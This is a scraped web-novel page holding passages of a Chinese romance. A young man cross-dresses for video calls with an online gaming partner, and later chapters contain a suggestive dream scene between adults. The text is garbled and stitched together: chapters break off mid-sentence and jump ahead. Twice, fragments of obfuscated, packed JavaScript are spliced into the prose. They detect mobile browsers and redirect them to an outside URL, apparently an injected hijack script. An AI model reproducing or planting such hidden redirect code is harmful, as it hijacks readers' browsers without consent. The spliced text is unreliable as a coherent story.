《小可怜女装网恋实录》 1. 蓝白吊带蛋糕裙 《小可怜女装网恋实录》全本免费阅读 游司梵看着床上蓝白相间的蛋糕裙。 裙摆柔软蓬松,吊带细长,深蓝丝带choker的蝴蝶结还有一个小铃铛。 游司梵沉默。 这是条很精致可爱的裙子,但前提是不穿在他身上。 “喂,叫你换上呢,我一局都完事了还不动手?”手机游戏弹出‘逃离失败’,司子天不耐烦地猛抬头,老旧床垫随即响起渗人的嘎吱声,“你这房间热死人,开个空调又怎样?我家是虐待你不让你开么。” X城六月潮湿闷热,这会刚下过暴雨,雨腥和斜阳透过一扇模糊的玻璃窗,齐齐涌入这个并不宽敞的陈旧房间。 这本是不见光的储物室。夏季西斜的暴热午后,是此处全年唯一拥有阳光的时间。 游司梵敛下细密的长睫,略过裙子问题:“我白天出去打工,开空调费电,晚上开一会就好。” “才高考完就到处走,以后晚上不许出去,都来给我这个号打排位。”司子天骂他,在小叔家寄住三年,他被这样骂过许多次,“磨磨蹭蹭,快把裙子换上!” 落地扇嗡嗡摇头,吵的心烦意乱。 不能再拒绝了。游司梵背对窗户,攥起泛白的棉质短袖下摆,在斜阳里露出一截莹白瘦削的腰。 盛满灿金色光影的腰窝小而清浅,恰是能一掌包裹的尺寸。 “继续啊。” 游司梵腰腹不自觉绷紧,低声道:“堂哥,你先出去……” “都是男人害羞啥?”司子天打断他,“还是说你觉得自己是女人,因为比我多个()?那你高考性别怎么填男呢。” 游司梵顿住。 僵持两秒后,他在司子天充满恶意的凝视中,慢慢褪下不合尺码的宽大白T。 窗外初生的蝉嘶声力竭地叫唤,刚满十八的青年上身赤.裸,清瘦单薄的脊背微微弓起,完全曝露于夕阳的斜光。 一具初长成的苍白身躯,线条仍处于少年与青年二者之间,柔软流畅但乏善可陈。 白开水似的寡淡,就这? 司子天大失所望,至于被游司梵侧身刻意藏起的正面,也懒得再看。 “今晚八点你用这个号女装视频,连麦一个死装男,”他丢给游司梵一部旧手机,游戏显示有一个穿红白蓬蓬裙的萝莉,“赶紧换上裙子,穿好就不许脱!整个暑假都要和死装男双排,我不管你用什么办法,都要把女人给我演好了!” “敢骂我打的菜?哈,看老子找个女装人妖cp恶心死你!” * [赛后][菜就别玩]:国服A牌的爱丽丝操作就这?演员恶心谁呢我求你别演了 [赛后][人家爱吃芝士蛋糕]:对不起 choker太紧,勒得游司梵有些头晕,他轻轻扯下丝带,面红耳赤地打字道歉。 [赛后][人家爱吃芝士蛋糕]:第一次玩游戏,不太熟悉,对不起 然而消息还没发出去,对方又开始新一轮辱骂。 [赛后][菜就别玩]:段位带躺的 [赛后][菜就别玩]:狗 [赛后][菜就别玩]:老公带你上分 [赛后][菜就别玩]:装 [赛后][菜就别玩]:nm呢 一行硕大红字蓦然弹出。 [检测到不文明发言,已禁言相关玩家,《方寸狂欢》的和谐由大家守护,请遵守社区发言规则!] 对话框自动关闭。游司梵抿了抿唇,继续点击匹配。 没到八点,他还有时间熟悉玩法。 《方寸狂欢》是一款非对称对抗游戏,你追我逃躲猫猫。局内四人类VS一监管,破译5台密码机、开启大门逃生3人及以上为人类获胜,反之监管胜利。 爸妈出事前他忙学业,爸妈出事后他直接失去接触电子娱乐的资格,《方寸狂欢》开服爆火四年整,游司梵却根本没玩过。 他忍耐蕾丝摩擦大腿的不适,把蓬松的蛋糕裙摆往下压了压。 [自由匹配成功。] [“遗失的教会学校”已载入。] [5、4、3、2、1……] [狂欢开始!] 屏幕里的爱丽丝怀抱布偶,降临至一所废弃教会小学,黑青色的天空有乌鸦飞过,她喘息着警惕四望,遥遥望见远处一个小丑哭脸的刹那,立刻拔腿狂奔! 咚咚咚! 阴森鬼魅的追击BGM随之响起。 那是要抓人类的监管者,游司梵运气实在太好,开局10秒立刻撞鬼。 怦,怦怦。 紫红心脏在爱丽丝背后疯狂跳动,预兆屠夫越发逼近,游司梵指间沁出汗意,绕过学校教堂,匆忙躲进一处废墟的板子下。 “嘻嘻嘻——” 小丑的怪诞嬉笑忽而在头顶响起。 怦怦! 监管的红光将爱丽丝完全笼罩,角色的心跳已然大到手机都在震动,游司梵紧张屏息,在小丑冲来时猛然拍下木板! 哐当! [系统]:[人家爱吃芝士蛋糕]成功砸晕监管者。 游司梵趁机赶紧给队友发信号。 [爱丽丝]:监管者在我附近! 三秒过去无人回答,小丑解除眩晕,再次举着电锯砸来。 游司梵肾上腺素快速飙升,向眼前一扇木窗跑去,试图翻过这面墙—— 穿着华丽洋装大裙子的爱丽丝单手撑过窗沿,在落地的前一刹,电锯轰然而至! 爱丽丝惨叫。 游司梵绝望闭眼。 交互时被击中,他被监管打出恐惧震慑,开局20秒直接倒地。 方才一直沉默的队友马上发言。 [造价师]:我不救人! [橄榄球员]:专心破译! 只有书画商还是没吭声。 [爱丽丝]:对不起,我失误了。 游司梵发完信息,再次调整choker的位置,浑然不觉白皙的脖颈已被磨出粉红,暧昧至极。 “等下再开一局吧。”眼看小丑把爱丽丝捆上肩膀,走向代表逃脱失败的椅子,他想,“多练几次,也许一会视频对面就不会骂我那么难听……” ……唰! 一位墨发青年突然出现,手中玉箫潇洒一挥,横扫小丑! 小丑被巨力挥到废墟墙面陷入僵直,爱丽丝翩然落地,恢复半血状态。 [系统]:[Forward]成功救下[人家爱吃芝士蛋糕]。 [系统]:[Forward]获得“书画商”成就「笔墨江湖」+600分。 游司梵勾着choker的指尖一顿。 青年收起玉箫,侧脸正好对向屏幕,下颌线英俊冷肃,一袭青衫利落而典雅。 [书画商]:没关系。 他在回答游司梵的道歉。 那句失误致歉是系统自动对话,玩家一点即可发出,队友的界面也会出现谅解。 但所有人都没点谅解,也不打算救人,只有书画商来了。 小丑被书画商强行止戈,无法攻击就在眼前的二人,烦躁地转来转去。 爱丽丝提起裙摆,俏皮地朝书画商行宫廷礼。 游司梵垂下眼睫,无人窥见的角落里,被及肩发遮挡的耳尖悄然红透。 [爱丽丝]:谢谢你。 * “表哥你操作太帅了 2. 小金铃铛丝带choker 《小可怜女装网恋实录》全本免费阅读 游司梵刚说完就后悔了。 对面的黑发青年瞳色黑沉,稍微一抬眼,如笔墨勾勒的双眼皮就又宽又深。 方寸狂欢的视频占屏幕一半,书画商和爱丽丝在远航船的舱室对坐品茗,不时微笑举杯,悠然自得气氛和谐。 而屏幕之外,一双深邃而安静的眼眸注视着游司梵,似格外平和的风暴,底下蛰伏不可名的猛兽,随时准备暴起扑倒猎物。 游司梵读不懂情绪,看不破黑雾,但莫名感知到青年在一瞬爆发的欲望和攻击性。 他是被选中的人。 choker的桎梏骤然变得清晰,就好像是青年用骨节分明的手指,漫不经心扼住他的呼吸。 夏夜暗潮涌动,闷热的时节总是躁动不安,而他从choker丝带的柔软里,得到不应存在的清凉。 那双手修长如寒玉,真正扼上的触感,应该比choker更…… “嗯……” 游司梵侧过脸,意味不明地哼声,有些害羞地揪上束腰的蕾丝系带,指间绕着圈,不敢再看屏幕。 他一动,choker的小金铃铛也轻轻晃动,响起极其隐秘的清脆铃音。 就像猫咪伸出毛茸茸的爪子,一下一下,用肉垫试探地触碰主人的心口。 闻濯的眸色刹那晦暗。 “我不骂人。”冷感薄唇扬起不易察觉的弧度,他平静地叙述事实,“CP三个月,不清楚这些小事么?” “宝宝。” 游司梵脸色爆红。 “哥哥怎么这样叫我,”明明只是刚说上两句话,他却似被狠狠欺负过,露出来的整片锁骨红透了,“叫宝宝好亲密……” 闻濯轻笑:“是你自己要求的。” “三月,你加我好友,双排半个月后绑定CP关系,说叫ID太冷漠有距离感,撒娇要听Forward哥哥叫宝宝。” 他指尖轻点屏幕,开始读聊天记录。 “[人家爱吃芝士蛋糕]:哥哥,不叫我宝宝嘛~” “[人家爱吃芝士蛋糕]:宝宝永远是哥哥的宝宝,哥哥OB救宝宝太帅了!” 他音色琅琅如玉,仿佛在诵读什么古文典籍。 而游司梵越听越羞耻,不习惯穿裙子的腿并拢,双手紧紧攥住裙摆蓬松的千层褶。 但闻濯还在不紧不慢地念。 “[人家爱吃芝士蛋糕]:宝宝爱哥哥一辈子,mua。” 读到“mua”时,他甚至低笑一声,将唇齿碰合的气音完整而标准地发完。 不油不腻,像山间清泉,冷感又好听。 一个并不存在的钩子悄然探出,一刹那勾起游司梵怦怦乱跳的心。 “哥哥,哥哥我想起来了!”游司梵咻地转回首,很像一些急切的小狗,双眼亮晶晶地看着闻濯,“哥哥喜欢的话就叫宝宝好了,我们快去打排位。” 爱丽丝恰时拉过书画商的手,金雕玉琢的少女把来自远东的青年领至舷窗边,脸颊微红,兴奋地让对方看一行飞过橙红落日的海鸥。 游司梵的眼眸,同样闪烁着名为期许的羞涩光辉。 这双灿若星辰的桃花目,眼尾潮红,全心全意地注视闻濯一人。 鸥声轻鸣,浪潮拍打船身。 他们站在一轮无边无际的圆日前,两个一高一矮的逆光剪影,不知何时贴得很近。 黄昏,海风,粉紫色的天际。 被扬起的鬓发,咫尺之间的呼吸。 书画商含笑看着爱丽丝,在夕阳里揉了揉少女的发顶,就像替他触碰另一侧的游司梵。 闻濯本就不甚平静的心错乱一拍。 他掠过游司梵略带卷曲的柔软发尾,那些半长黑发及肩,正好盖住主人白皙粉红的脖颈,朦朦胧胧,阻挡他继续探究的目光。 ……看起来很好摸的样子。 闻濯喉结滚动:“那我排了。” [排位匹配成功。] [检测到队伍含C牌及以上分段玩家,该场比赛为殿堂级。] [“亨利伯爵的行宫”已载入。] [5、4、3、2、1……] [狂欢开始!] 清晨,行宫逐渐苏醒。 女侍官捧来一束鲜花,娇艳欲滴的花瓣还沾有点点晨露,她笑意盈盈,和碰面的每位侍者低声道早安。 揉面的厨娘问她要不要来上一口新出炉的樱桃派,十五六岁的马倌告诉她生病的那匹红枣马终于肯喝水了,男管家说伯爵今日午后要会面一位男爵夫人。 万事万物,安宁祥和。 ——假如一切并非静止的话。 整座行宫,都被停止这个最平凡的日常时刻。 游司梵绕过插花的女侍官。 那束花再也无法被置入细口瓷瓶,她的手僵硬于半空,面上的微笑一动不动。 “哥哥,我找到电机了。”好渗人,游司梵小小地打个颤,走到她身后。 这局运气尚可,出生点终于没有贴脸监管,他首次摸上决定胜负的密码机。 游戏开始后,视频界面自动缩小至画面左上角,闻濯看了游司梵一眼,见他在缩小的相框内有些害怕地蹙眉,眼底却是藏不住的好奇。 像一个观察新事物的小松鼠。 [亨利伯爵的行宫]是《方寸狂欢》开服老地图,能打到A牌爱丽丝,玩家对这图的地形和剧情设定必然不会陌生。 对[人家爱吃芝士蛋糕]而言,应当早已看腻。 咚咚咚,咚咚。 阳光熹微,爱丽丝开始在橡木书桌前认真破译密码。 闻濯选择放过这个漏洞。 他看着视频里乖巧认真的蛋糕裙妹妹,薄唇微扬,转而提起另一个对方可能也不清楚的细节。 “嗯,报一下点位。” 游司梵果然如他所料惊住。 视频界面很小,但闻濯清晰见到他藏不住的错愕。 “什、什么?”游司梵乱点几下屏幕,爱丽丝离开椅子又坐回去,“哥哥,刚才信号不好我没听到。” 闻濯唇角笑意更深。 小骗子。 他好整以暇,看游司梵两颊泛起红晕,眼尾都红透,方才不紧不慢开口。 “点进度条顶端,告诉队友你在哪修机。” [书画商]:密码机破译进度26%。 “啊。”游司梵见到花园之外亮起标志,发言的书画商距离他121m, 3. 起司风味的蛋糕裙摆 《小可怜女装网恋实录》全本免费阅读 闻濯神色冷淡下来。 系统文字是粉红爱心的CP特供版,充满恋爱意味的色彩横在阴森恐怖的游戏内,无论是出现时机还是设计,都荒诞滑稽到极点。 他面无表情,关闭碍眼的废话。 张牙舞爪的提示消失,界面肃然一净,唯剩清雅冷峻的书画商垂眸,认真修理手中的密码机。 园圃花团锦簇,清清静静无人打扰,他立于其中,犹如不染尘世的白鹤。 但早已习惯的地图第一次显得空荡。 片刻前青涩乖巧的漂亮妹妹,不见了。 及肩黑发的少女脸颊潮红,原本讶然羞涩的眼瞳在一刹变得沮丧,在闻濯的视野里,她忽然如同犯下弥天大罪一般,急切而哀求地向他说些什么。 她的神情很难过。 闻濯没听见具体内容,但几乎可以笃定游司梵在道歉。 道歉什么。 骗他是A牌爱丽丝,结果只是代打上分? 闻濯的唇微不可见地扬起一丝弧度。 叮铃! [雁书:您有来自“闻静”的新消息。] 闻濯眸色一沉,而闻静的讯息已如连珠炮般弹出。 [AAA八月西北自驾游求队友]:和妹妹怎么样了哥,视频否双排否合眼缘否,我在你楼上心急如焚watching,外婆叫我吃冰粉都没去 [AAA八月西北自驾游求队友]:她人很好的我和她聊什么都说,你注意点别把人气到,不然我看谁来接盘你这臭脾气 [AAA八月西北自驾游求队友]:表妹我只能帮你到这里.jpg [AAA八月西北自驾游求队友]:S1书画商网红国服哥收到请回复谢谢 闻濯刚想直接划走,又停下。 修长有力的手指敲击键盘,他回了句风牛马不相及的话。 [。]:推芝士蛋糕的雁书给我。 书画商在破译间隙抬首,远远眺望121m外的白色行宫,可并未看见被迫断线的少女。 [AAA八月西北自驾游求队友]:? [AAA八月西北自驾游求队友]:啊? [AAA八月西北自驾游求队友]:……完蛋,哥我没加她! [AAA八月西北自驾游求队友]:救命忘了啊啊啊啊啊,窒息 [AAA八月西北自驾游求队友]:汪汪大哭,平时都游戏内交流,她不主动提我也没注意 “CP”90天,连雁书都没加,视频被挂断也没地找人。 闻静指天发誓忏悔,闻濯毫不留情,关闭对话框,顺道把人关小黑屋里。 他变回平常拒人千里的模样,眼眸半抬,平静看着熟悉无比的游戏画面。 下次和《方寸狂欢》制作人碰头,很该让他们重点优化CP系统。 雁书的产品经理和他聊过接入视频端口,闻濯不介意牵线搭桥,促使第三方倒逼《方寸狂欢》升级这离谱的视频机制。 闻濯无波无澜地想,视线微移,看向界面右上方。 四个人类玩家的头像并列一排,爱丽丝和书画商的极简画像靠在一起,小小的半圆小框中,洋装少女怀抱玩偶,眉眼弯弯,很乖地朝他笑。 [爱丽丝]:密码机破译进度78%。 仿佛觉察到注视,小灰字恰逢此时现身。 闻濯好似听见游司梵底气不足的讨饶:“哥哥,我还在这里修机。” 很可怜的声音,没有矫揉造作,柔软而低微。似一簇墙角小花,只会在有阳光的晴天延展枝叶。 噌。 象征破译完毕的巴洛特路灯亮起,书画商反手执箫,往行宫赶去。 停滞于半空的蝴蝶擦过他的鬓边,青衫男子迈出斑斓花丛,冷峻的面色不觉多上几分柔和。 有一位满心愧疚的人在等他。 [书画商]:站着别动,我来帮你。 * 咔。 [系统]:破译完成+900分。 [3条密码尚未破译。] 爱丽丝矜持地昂起下颌,小步跑下行宫二楼。 游司梵很忐忑。 视频断的突然,他不知道那句话闻濯听到多少。 [书画商]:玉箫剩余持久度92%。 闻濯在报点。 二人仅隔68m,甚至不断缩短。 思及闻濯冷若寒玉的面庞,游司梵愈发心慌。 Forwar猜出他是货不对板的冒牌货了吗? 他口干舌燥,硬着头皮下楼,却在转角撞见此前一言不发的队友。 衣衫褴褛的科学狂人对他手舞足蹈,嘴巴夸张地撑成O型,瘸腿眼镜快要掉下瘦骨嶙峋的脸。 [人类学家]:快走! [系统]:[溜鬼的神]已牵制监管者60秒。 [人类学家]:监管者转移目标,注意隐蔽! 怦怦。 他打个照面就像泥鳅一样钻入高墙板区,独留游司梵杵在楼梯口。 怦怦怦! 不详的紫红心脏再次现身于爱丽丝后背,嘶声力竭地疯狂跃动。 ——长有九根触手的克苏鲁怪物眼珠一转,赫然向游司梵挥下屠刀! 铛——! 爱丽丝一扑,精致的裙摆沾上血污,踉跄在地。 界面右上角的状态栏,[人家爱吃芝士蛋糕]只剩半血。 还能再吃一刀。 游司梵咬咬牙,又喘息着狼狈爬起,快速奔上浮雕繁复的象牙白步梯。 [爱丽丝]:监管者在我附近! 一行凌乱脚印现形,那是游司梵的逃命路线。 克苏鲁擦好触手,慢慢悠悠地尾随其后。 这是个不会藏踪迹的笨蛋,比人类学家好抓许多。 在夹层拐角,克苏鲁又一次高高举起触手! ——嘭! 游司梵抛出一片童话书页,险之又险地弹出克苏鲁的攻击范围。 [系统]:无畏+2分。 技能进入6秒冷却,他惊魂未定,抓紧冲去二楼窗户开口。 克苏鲁刚被推远几个身位,他如果不想被恐惧震慑,必须趁机翻窗。 “呼……嗬……” 角色处于受伤态时,移速变慢,爱丽丝的脚步比先前沉重太多,游司梵耳畔尽是她急促的呼吸声。 怦怦! 怦怦怦! 克苏鲁已经到了! 唯一不在冷却的附身技能偏偏暗着,周围没有队友,游司梵不能传送到他们身上。 咻—— 那是克苏鲁出刀的声音! 游司梵额角沁出细汗,精神高度集中,双臂竟微微有些不自觉的发抖。 原本近在咫尺的窗口仿佛隔去十万八千里,怎么也跑不过去! 电光火石之间,附身图标蓦然亮起。 [书画商]:站着别动,我来帮你! 二人距离3m。 他在他的正下方。 游司梵毫不犹豫,本能般按下Q版少女抱布偶的技能键。 [系统]:重逢+200分。 几乎是克苏鲁触手擦过爱丽丝的刹那,绚烂夺目的光晕弥漫整个行宫二楼。 他消失了。 像所有皆大欢喜的爱情电影一般,在和煦的初阳下,风尘仆仆的青年不远万里奔来,展开双臂,接住从窗口一跃而下的少女。 [系统]:[人家爱吃芝士蛋糕]获得“爱丽丝”成就「玩弄刀尖的女孩」+600分。 [系统]:被追击+636分。 紫红心脏仍然不断鼓动,硝烟并未平息,在震如擂鼓的追击音乐中,书画商和缩小版的爱丽丝额头相碰,交换一个亲昵的贴贴。 流浪已久的少女找到她的爱人,如珍宝一般被好好对待。 游司梵眼圈湿润。 这是一场还未打破的梦。 请让他在被发现前,可耻地占有这份不属于自己的温暖吧。 昏黄的台灯下,一袭蓝白蛋糕裙的少年低下头颅,脖颈弯作流畅曲线,半长的黑发恰巧扫过侧脸,遮住他的神情。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12740820|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西好像、好像在顶着他。 可是身后是闻濯,而这个空间唯一的硬物就是他手中的银勺,那个东西,究竟是…… “宝宝不是饿了吗?不好好做糖吃,想逃去哪里?”颈后的气息再次灼热几分,游司梵听着闻濯音线变得低哑,浓稠至极的躁动赤裸直白,“不乖,该罚。” “就罚你……不能吃到奶油夹心。” 喀嗒。 舌尖卷走再无遮挡的薄荷糖,一双大掌剥离碍事的单薄糖纸,折叠,揉皱,翻来又覆去。 塑料糖纸发出不堪重负的嘎吱声。 在糖纸被丢弃的一刻,现实中身着深黑真丝衬衫的闻濯,彻底咬上那颗他把玩已久的透绿色糖果。 清凉解腻,甜香淋漓。 屏幕对侧陷入重重梦境的游司梵呼吸一窒。 他额间布满细密汗珠,中长的黑发凌乱贴在潮红的脸颊。 很像悄然成熟的红莓,在灌木丛的掩护下无人发觉,只是在黑夜的深处,在梦境的彼端,释放被甜腻歪曲的想象。 游司梵侧卧在床,入睡前好端端穿着的小猫衬衫不翼而飞,修长白皙的手臂交叠于胸前,恰好遮去他自己扯松菱形布料后露出的空当。 ——分体式长裙七零八落,比完全没穿衣服看起来还要糟糕。 凌晨4点,X城赤热的风拂过他袒露在外的大腿,膝盖透出浅淡的粉。 已经停止工作的空调风叶紧闭,红色的暂停标志似乎成为一对观察的眼睛,盯着床上无知无觉的少年。 黎明时分,气候并没有减去燥热,游司梵在像要凝落水汽的浓厚躁动里,迎来最最脱轨的梦境。 梦中,闻濯已经把他抱上岛台。 身形高大的青年如同蓄势待发的猎豹,手臂好整以暇地撑在游司梵两侧,稍稍垂首,叼吻上少年红润饱满的唇。 游司梵呼吸急促,唇齿间皆是闻濯幽暗的冷香。 这个姿势大大拉进二人距离,平日将近20厘米的身高差骤然缩短,游司梵从未那么近地注视闻濯,那张浓墨重彩的面庞离他如此近,专心致志地吻他。 就好像……会一直属于他。 珐琅锅的糖浆已经熬成奶白色,小泡泡冒出又破裂,不紧不慢地沸腾。 不知是白砂糖还是芝士的甜腻,一阵不同以往的腥甜逐渐蔓延。 蓦然,游司梵舌尖微微一痛,游离的神思被拉回眼前。 闻濯的眼瞳深不见底,欲念风起云涌。 “不许分心。”他如是道。 闻濯惩罚性地前倾身子,游司梵一惊,本就大张的双腿张得更开,连忙环上闻濯后腰。 闻濯唇角一勾。 “哥哥明明说好教我做奶糖,又说话不算话,”见闻濯没有拒绝他的讨好,游司梵心底的不服气又开始冒头,“何况我也只是在想哥哥而已,根本不是分心……唔嗯!” 甜腻芬芳的空气中,闻濯再次吻上他微微抿起的唇瓣,舌尖长驱直入,霸道掠夺他口腔一切的津液。 “司梵,我说了。” 在彼此喘息的间隙,闻濯托起游司梵的下颌,视线牢牢锁定他蒙上泪光的瞳孔。 “不许躲我,不许分心——” “——你只能在我身边,永永远远。” 18.指缝黏稠的白色糖浆 游司梵微微喘着气,脚尖不自觉地蜷缩,勾住闻濯蓬勃而灼热的身躯。 精壮结实的腰腹,充满弹性却绷紧的臀,弧度流畅的脊柱曲线在尾椎处往上一翘,游司梵轻而易举地掌握这具躯体的细节。 宽阔的胸膛下是惊人的腰,两侧收进去,游司梵双腿由此而过,很轻松地交叠环抱,像个黏糊糊的树袋熊,紧密贴在闻濯身上。 他注视闻濯黑沉晦暗的眼眸,二人呼吸交缠,亲密至极,却感受到那些与自己直接触碰的肌肉紧绷起来。 “我不会离开的。” 游司梵膝盖用力,小腿腹更加夹紧闻濯后腰,他们之间的距离瞬间更近几分。 “哥哥……在担心什么?” 他蒙上水光的眼眸脆弱又无辜,仿佛只是在询问一个很寻常的问题。 闻濯心神一乱,禁锢游司梵下颌的指尖顿住。 那些被指尖触及的肌肤细腻光洁,没有任何攻击性,却与言语一齐瓦解闻濯的防线。 游司梵微不可见地弯起唇角。 少年轻轻挣脱开闻濯那并不牢靠的桎梏,转而捧上闻濯那只略显僵硬的手。 他掌心温热,指腹有写字留下的薄茧,交叠地笼上闻濯骨节分明的手背,不让它逃离。 “哥哥……” 游司梵呢喃着,主动把脸重新放进闻濯掌心里,很亲昵地蹭了蹭。 明明他才是那个被桎梏的猎物,但是此时此刻,却是执起缰绳的猎人。 凭靠一双比闻濯小一圈的手,反客为主。 游司梵力道一点也不大,哪怕双手同时覆上青年的手背,仍然是可以随意挣脱的程度。 温柔又软和,像一团乖乖贴上前的棉花。 无害乖巧的棉花怎么会伤害人呢?没有比欣赏和掌控它更简单的事情了。 然而闻濯神色游刃有余,耳垂却独独泛起不易察觉的红。 “是吗,司梵。” 他俯下身,没有回答先前的疑问,薄唇凑至游司梵耳廓上方。 “不是想吃奶糖吗?糖浆已经熬好了。”他惩罚性地咬上游司梵耳廓上端,齿间轻轻厮磨那片薄且软的嫩肉,“抱紧我。” 抱紧……? 游司梵细细一颤,贴着闻濯手背的指尖不禁松了几分。 那只被他压在下方的大掌瞬间反制。 游司梵还未反应过来,便被闻濯执起手,半强制性地环绕上青年的后颈。 侧脸骤然失去温热触感,游司梵尚处于微微的茫然,却见闻濯原本撑在他身边的手臂一用力,就把他全然抱起。 “哥哥!” 蓦然腾空,失重感突如其来,游司梵本还有些羞涩,现在什么也顾不上,慌忙搂紧自己的唯一支点。 相当亲昵的姿势。 整个人彻底贴上闻濯,与这具蓄满力量感再无隔阂,恒定灼热的表肤体温快要将游司梵融化。 他的心怦怦乱跳。 “别害怕。”但闻濯轻咬他耳廓的齿关并未松开,托着他臀尖的大掌甚至坏心思地往上一颠,“我们去把模具找出来,把糖浆倒进去定型,等会就有糖吃。” 又一次腾空。 游司梵不知所措地睁大眼睛,眉头抬起,杏核眼张成圆润的弧形,十指刹那紧紧攥住闻濯衣领。 “唔嗯——!” 带着半截惊呼的余音,他又落回青年坚实有力的怀抱。 “胆子这么小?”低笑的共振传来,被叼含厮磨的耳肉又酥又麻,“以后坐飞机长途旅行怎么办……嘶!” 游司梵怒气冲冲,一口咬上眼前人毫不设防的颈窝。 那块肌肉瞬间绷紧,口感却更好了。 游司梵顶顶舌尖,犬齿用力,报复性地再次往下狠狠一咬! “好凶啊,宝宝。”一直欺负他耳朵的齿关松开,闻濯的声音变得沙哑,言语间气息灼热而滚烫,“我们去拿模具,不生气了好不好。” 不好。 游司梵在心底默默回答,却任由闻濯抱着他往橱柜走去。 青年的臂膀很稳,一点也不颠簸。 “……哼。” 游司梵消了点气,稍稍松开唇齿,舌尖反倒故意舔过那圈他亲自印下的痕迹。 像猫咪舔舐心爱的玩具,不带情色意味,只是单纯的以牙还牙。 闻濯喉结滚动。 四周皆是糖浆沸腾后弥漫的甜腻,怀中少年悄悄泛起的腥甜混杂其中,无时无刻不在挑动他的神经。 咫尺之外的橱柜,竟也如此遥远。 他抱着不安分的游司梵,终于在难言的焦灼后抵达放置模具的终点。 一处直达天花板的封顶橱柜。 青年晦暗的眼眸掠过抬手可触的握把,又垂下长睫,视线移回游司梵气鼓鼓的侧脸。 “柜子太高了,宝宝,”他理所应当地撒谎,波澜不惊,“我够不到。” 什么? 游司梵倏然昂起小脸,放过那片被他折磨已久的颈窝,狐疑地打量闻濯。 身高比他高起码20厘米的人,和他说自己不够高? 然而罪魁祸首坦坦荡荡,顺势缓慢地抬高手臂:“我举高一些,司梵你来拿吧。” 熟悉的短暂失重感袭来,游司梵下意识搂紧闻濯,双腿死死夹紧那段爆发力惊人的腰身。 闻濯难耐地深吸一口气。 三秒后,见闻濯没有任何戏弄的动静,那些与他毫无间隔的肌肉始终一动不动,游司梵才试探地扭头,握上橱柜镂刻的把手。 “好吧,但我没有原谅你哦!”他拿出模具,将信将疑地转身,“我只是想快点吃到糖而已……” 炽热的唇骤然吻上碎碎念的嘴巴,把所有未尽的言语都堵了回去。 嘎吱—— 半开的柜门前后摇晃。 游司梵瞳孔缩成小小的圆心,倒映出闻濯靠近的面庞。 极近视角下的他,美得触目惊心。 青年闭着鸦羽似的眼睫,单手关上晃荡的橱柜后,大掌覆上游司梵的后脑,半强制地继续拉进二人的距离。 他们唇舌交缠,吻势如同暴风骤雨,连喘息的机会也难以获得。 “唔!” 尾椎撞上橱柜的一霎,游司梵从深吻的间隙艰难抽身,双手无力地撑向闻濯的肩膀。 两个人的衣服端正整洁,但他的神态尤其可怜,眼尾晕染的浅红好似飘忽的云霞。 “哥、哥哥,”游司梵把模具挡在他和闻濯之间,“我们先去吃糖,好不好?” 游司梵赫然对上一双深渊般黑暗的眼睛。 闻濯没有言语,把游司梵的脊背完全抵上橱柜,右手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12801108|130940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑在少年颈侧,断掉他所有逃避的可能。(审核员,他们只是在壁咚啊??) 他如同电影里最狠戾无情的霸王,不讲道理,再一次深深吻上游司梵红至极点的唇。 喀嗒! 遥远的远方,现实的闻濯彻底咬碎口中的薄荷糖。 糖体化作甜腻的碎片,薄荷特有的气息清冽幽香,融化在唇齿之间。 梦里,深吻已然夺走游司梵所有力气。 闻濯不给他任何思考的空隙,游司梵一切感官都在接受无可躲避的馈赠,他被固定在一个角度上,先前是紧紧依赖的树袋熊,现下不过是无以为继的棉花。 他在闻濯的攻势下溃不成军。 就连呼吸的权利,也只是闻濯大发慈悲的怜悯。 他们额角相贴,唇瓣短暂地分离,拉出一条将断未断的长长银丝,随气息的浮动微微震荡。 “糖……糖再不关火,”游司梵气喘吁吁,唇珠很明显地充血红肿,在昏暗的灯光下可怜而暧昧,“就要糊掉了!……” 闻濯安静地凝视他,游司梵紧张地咽下唾液,话尾不自觉地变弱。 “……哥哥,我,我想下来。” 他不安地抬起脊背一瞬,附在橱柜上太久,他从未这么清晰地感受过此处每一根花纹的详细走向。 触感陌生且危险,不可掌控。 “好,好饿,我想做糖吃……” 出乎意料的,闻濯没有为难:“嗯。” 垫在橱柜和游司梵后脑之间的手一松,桎梏轻而易举地撤去,足底踏上地面的那刻,游司梵甚至觉得自己是在做梦。 但他很快就后悔了。 如果不被舌吻和拥抱的代价是、是那个,那他宁愿被壁咚一百年! 游司梵抿着嘴,咬牙看着舔吻自己指缝的闻濯。 原来好说话的代价都在这里等着他呢! “下次不能这么粗心,”闻濯红润的舌尖在唇外现出一刹,又隐没于游司梵僵硬的掌心,“万一烫伤了怎么办。” 游司梵忍气吞声,忍耐舔舐时湿润而怪异的触感。 “不会了。”他咬牙切齿,“我再也不会给哥哥在背后捣乱的机会了。” 片刻前,他们双手交叠,一起握着银勺舀糖浆,小心翼翼地注入模具。 当然,或许只有游司梵在一厢情愿。 眼见就要完成一排的自制糖块,可爱小巧的熊猫糖果即将成型,闻濯的手微微一动,奶白色的糖浆霎时倾泻上游司梵指间。 “啊。” 游司梵低呼一声。 温热的黏糊糖浆并不滚烫,像某种不知名的软体动物,懒洋洋地错落缠绕而已。 远比闻濯义正辞严的“清理”来得舒适。 分明十五厘米之外就是水池,上好的不锈钢龙头可以360度旋转,提供无死角清洗,但闻濯偏偏选择最原始的方式,用唇齿舔舐那些奶白色的糖浆。 